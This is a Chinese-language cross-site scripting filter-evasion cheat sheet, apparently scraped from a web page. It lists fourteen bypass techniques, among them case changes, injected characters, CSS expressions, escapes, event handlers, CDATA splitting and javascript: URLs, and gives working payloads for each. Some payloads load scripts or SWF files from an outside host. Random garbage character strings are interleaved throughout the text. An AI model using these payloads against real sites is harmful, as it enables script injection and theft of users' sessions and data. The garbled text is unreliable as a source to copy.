1. 改变字符大小写
$ k& L& ^: ?! R, m9 U/ u# t) _+ S( v O; j, U+ I# L/ P" T
3 G" o. u; c% B: }2 L
7 m8 E$ Y6 }/ F6 G5 b! r. l <sCript>alert(‘d’)</scRipT>
& \0 F' X) J D# n, X! |( P, ?1 l& H
2. 利用多加一些其它字符来规避Regular Expression的检查
! c/ [5 Y. N3 @. |4 r- P; V( ]1 V: k% ^0 v3 {* s) Y" V, [0 T
<<script>alert(‘c’)//<</script>
) I: a; b4 C$ r0 X+ G: g0 {+ k5 @
! X/ A0 x# k9 ?! \4 _6 o <SCRIPT a=">" SRC="t.js"></SCRIPT>
: i/ \* ?# S+ N. A
/ K! P0 E* K0 R: m2 X/ B3 f <SCRIPT =">" SRC="t.js"></SCRIPT>
! g; D! l' R( u2 a0 G6 `6 z# v7 A
( J5 o, Q) j- z- q7 B7 w <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
4 P8 ~; {+ Q: u. v, F" K' G) @8 @' i: V! u
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
8 c3 ^8 B6 K' u. ^' R/ D
9 p/ o6 ?5 V8 u. [' U9 v <SCRIPT a=`>` SRC="t.js"></SCRIPT>
. w3 S5 ?* a3 @
9 Y6 N: H) `6 V0 f1 h; p r <SCRIPT a=">’>" SRC="t.js"></SCRIPT>. k0 L, i5 {1 f/ k* o5 T
$ v3 t. b8 k$ E# L3. 以其它扩展名取代.js8 Y- o1 g4 W6 L
( {$ H( P p2 h3 ^% U- S& Y
<script src="bad.jpg"></script>0 o. @5 x( U. c
7 Y' r5 }- t8 H( C) ^% ?4. 将Javascript写在CSS档里4 T8 A$ z8 j& g$ v- A# Y
# p: ^. t! X' Z- m) ]
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">( F+ ^: J0 I" Z* U7 g' s. O
/ Y8 y- B$ |9 V: d: c, Q example:
) |, {! X/ l& ^) C
$ W! |8 g Z; y body {2 S5 |/ I& U9 T/ h
! u! _+ `6 I; e- @9 g& |5 G/ k* j background-image: url(‘javascript:alert("XSS");’)$ q7 [0 l! P9 O
$ K$ y m* j, x: r( w$ g }
( @: `. y6 K5 r+ I, X$ `0 ~% [
5. 在script的tag里加入一些其它字符6 a8 q# z* r! A' Y
: S8 N9 r% ]" e( M4 e
<SCRIPT/SRC="t.js"></SCRIPT>: W" g5 G7 q2 @- x
9 h+ R9 |; s1 @% I/ K- C- h <SCRIPT/anyword SRC="t.js"></SCRIPT>
5 l3 L( U t8 }4 a: r$ D7 {
1 P) T8 E2 @% P6 j' U/ g6. 使用tab或是new line来规避
; K1 V* A) k6 ~; D2 I8 ?
! N$ [% F1 g! S <img src="jav ascr ipt:alert(‘XSS3′)">
, v: X6 Z; i) P+ g( F# K" K" K4 y' P J% Z" U
<img src="jav ascr ipt:alert(‘XSS3′)">
, e- x3 M9 u) y7 }" P+ C/ ~) e& `0 O5 ?6 c1 \- q8 k
<IMG SRC="jav ascript:alert(‘XSS’);"> d# w, ?6 i1 I& T7 x/ C" J+ h
( k" m8 m8 ]$ e' a/ R0 z -> tag0 \( O: x1 A' {! c+ p0 r
: s+ m+ B' t, W7 p8 N -> new line
; l D5 k" b* }7 l
# R/ D) }2 K* i7. 使用"\"来规避
9 B( ]: c; X5 E
. O& Z |: `& b7 B4 ] <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>" U! g0 p% ~- r# h/ z
3 m9 J( x, K& M* s( p <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>! F( l1 @1 _+ r" k( m1 N
9 Z5 }( a# Z' B* V8 s" Y5 i
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))"> M( f! Y/ n( u% m8 a) k# P2 h2 I
" D0 }8 ]$ b8 v1 k
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' N& P, @9 H: s# }1 Q+ } Z- F6 v% t) a$ }2 Z; Q
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>* C8 l. {) [7 J! |
8 c* I8 F; S9 v: h2 K+ b: D. i
8. 使用Hex encode来规避(也可能会把";"拿掉)
7 b7 ]+ l z& g8 ^2 ~# U4 N$ A3 S {4 x& n" Z/ b9 C
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" D! D" k" E1 E0 a3 a1 V
" V3 |6 @' X+ Y8 d3 n
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 u6 N$ Y# g- _- q" t) L% `
4 m1 F& X8 c) B& a% i$ o5 m( u <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
; K# B8 e1 A8 o( g
) [( c7 Y2 E0 S- \ 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">! j. b5 T9 N1 x' F3 T1 {% X
- O; E. c" _0 Q
9. script in HTML tag
0 T6 n( N7 d. I' s5 F" s6 [. s8 m8 e( w3 c
<body onload=」alert(‘onload’)」>, Y' [! h/ ]' y3 w l
( V: s9 I6 j; q3 y$ D( u onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
$ H2 ~- ~: G% o. ?; F+ y3 q- F1 g j/ |8 k0 D
10. 在swf里含有xss的code: I1 N/ D8 N) R4 _1 Y
4 Y6 P# d7 n+ B9 Z" v <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
. M: C3 P/ K8 I4 x
. b! Z: k; ~+ d0 t$ a+ E1 j4 d/ d11. 利用CDATA将xss的code拆开,再组合起来。* Z) V+ c' B# ?4 @' g
5 {$ G4 }9 j! q7 Q/ ?+ ~5 v
<XML ID=I><X><C>
6 t4 h) ]2 U [4 ]: ]
" N3 \, ~8 E8 s <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>! M, [" A! ^$ O9 d; [
# K' V4 Y. h- {( ~ </C></X>
# d. K3 ~: a, `# @, Y: s% n) U- H( X# K8 A% T7 k/ ^; k
</xml>4 ~( L* ^& ^3 i
4 q8 ~/ T- x6 C, B: `
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
0 L6 p' @, p% Y
! Z# P3 h- p) A$ ?( P, U- d' c <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>8 u, e! b% ^9 G, s/ U: |8 R
+ E8 K& O2 R( H( `! I; m. d: | <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>' R% c$ ? h- Y3 s ~- p B$ ]3 a
. S) o U8 ?& C4 {
12. 利用HTML+TIME。" C: H: _! B5 [( x
- b( D: G6 [" p, y" N* U3 n8 K
<HTML><BODY>0 e+ U0 s/ I; F4 v% G2 F
& J9 D: `& q( o# W3 s6 b3 s* \2 Y <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
( p3 Q( q7 y% Z
0 l: v* h0 b4 F8 k <?import namespace="t" implementation="#default#time2"> D8 g+ @( n2 N6 D; A
9 Z* o) j/ J b) J' K <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">- d1 V: s. A7 L8 w
- h- a% O: s/ W, g5 ^; _ </BODY></HTML>
8 v, v. O D$ g2 N8 W0 i8 b& M0 n+ n4 {/ _; Z4 K( u$ [( y1 F9 }
13. 透过META写入Cookie。
. t- U: P, s& G% K
7 S/ X: C8 O$ u5 {" {3 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
' `, j& J7 ~% W4 `; F" v0 @' g1 u8 ^5 Z9 I
14. javascript in src , href , url
8 N+ b8 S) l5 F! `5 N( z+ I0 a8 I+ l( K0 Z
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
1 \1 h1 j/ v( i) X
& n2 B1 T; ?1 C9 \- V9 J! I. b <img src="javascript:alert(‘XSS3′)">
$ A, k& M7 e+ b& C/ o4 Z5 Z1 X z Y1 C! A# q4 a. o
<IMG DYNSRC="javascript:alert(‘XSS20′)">
* x# n3 P3 L5 s& J9 ?/ [; }* I5 N0 S' u! c
<IMG LOWSRC="javascript:alert(‘XSS21′)">
- _1 y% d* }' e+ L4 m% x- |, Q" V; Y
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
% {- {1 k- }- x, E4 P4 l0 v; I
6 m+ G7 K7 O% e9 r$ o2 o5 H+ E/ ^ <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>0 A. N. Q# k& }0 Q; m
0 t3 {) k( x" u4 C6 X <TABLE BACKGROUND="javascript:alert(‘XSS29′)">
. K. o# O9 {4 O) [4 n/ |
, \0 A* y% M! y- J/ i8 M9 f <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">4 O, Y! p; A, F3 H
! \% N6 |; q# Y; c <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
; r3 B" i3 b) R) U2 O
' a$ h. F; D$ B% k; d </STYLE><A CLASS=XSS></A>8 O* E1 l' ^/ J7 }1 s- T
. X, p- y% e3 k8 i0 J# i& ~5 w <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>1 Q3 T% a- w. _- i" o& R$ B
( a9 G: z# ^$ P8 i d. w
|